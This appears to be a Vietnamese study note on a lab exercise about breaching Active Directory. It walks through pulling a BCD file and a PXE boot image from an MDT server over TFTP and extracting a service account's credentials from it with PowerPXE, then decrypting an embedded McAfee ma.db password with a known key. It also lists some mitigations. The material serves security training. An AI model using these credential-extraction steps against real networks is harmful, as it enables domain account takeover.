Để khai thác, trước tiên ta cần sử dụng TFTP để tải tập tin BCD nhằm đọc cấu hình của MDT server:

C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

Với tập tin BCD, chúng ta sẽ sử dụng powerpxe để thực hiện tấn công. Trước tiên, ta sẽ sử dụng hàm Get-WimFile của powerpxe để khôi phục lại vị trí của các PXE boot image từ tập tin BCD.

thm@THMJMP1 C:\Users\thm\Documents\aleister>powershell -executionpolicy bypass
Windows PowerShell
 
 
 
    Directory: C:\Users\thm\Documents\aleister
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/22/2024   8:29 AM          12288 conf.bcd
-a----         3/3/2022   8:54 PM           1098 LICENSE
-a----         3/3/2022   8:54 PM          98573 PowerPXE.ps1
-a----         3/3/2022   8:54 PM           2144 README.md
 
 
PS C:\Users\thm\Documents\aleister> Import-Module .\PowerPXE.ps1
PS C:\Users\thm\Documents\aleister> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\aleister> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim

Có thể thấy, ta thu được một tập tin WIM (Windows Imaging Format), là một bootable image (chính là PXE boot image). Chúng ta sẽ tiếp tục sử dụng TFTP để tải tập tin này:

PS C:\Users\thm\Documents\aleister> tftp -i 10.200.20.202 GET "\Boot\x64\Images\
LiteTouchPE_x64.wim" pxeboot.wim
Transfer successful: 341899611 bytes in 174 second(s), 1964940 bytes/s

Sau khi tải PXE boot image thì sử dụng hàm Get-FindCredentials của powerpxe để khôi phục credentials có sẵn ở trong boot image:

PS C:\Users\thm\Documents\aleister> Get-FindCredentials -WimFile .\pxeboot.wim
>> Open .\pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@

Configuration Files

Tùy thuộc vào máy chủ đã bị khai thác, các tệp cấu hình khác nhau có thể có giá trị cho việc enumeration:

  • Cấu hình ứng dụng web
  • Cấu hình dịch vụ
  • Registry key
  • Các ứng dụng được deploy tập trung

Chúng ta có thể sử dụng GhostPack/Seatbelt: Seatbelt để thực hiện việc này.

Lab

McAffee nhúng credentials trong quá trình cài đặt dùng để kết nối đến orchestrator trong một tập tin có tên là ma.db.

Sau khi tải tập tin ma.db thì sử dụng sqlitebrowser để đọc password:

sqlitebrowser ma.db

Password ở dạng mã hóa: jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==.

Sử dụng funoverip/mcafee-sitelist-pwd-decryption để giải mã password do McAffee sử dụng một khóa riêng tư bị lộ:

root@ip-10-10-149-184:~/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master# python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!

Mitigations

  • Triển khai network access control (NAC) - ngăn chặn các thiết bị giả mạo ở trong mạng bằng cách sử dụng allow list.
  • triển khai SMB signing - ngăn chặn SMB relay.
list
from outgoing([[Breaching Active Directory]])
sort file.ctime asc

Resources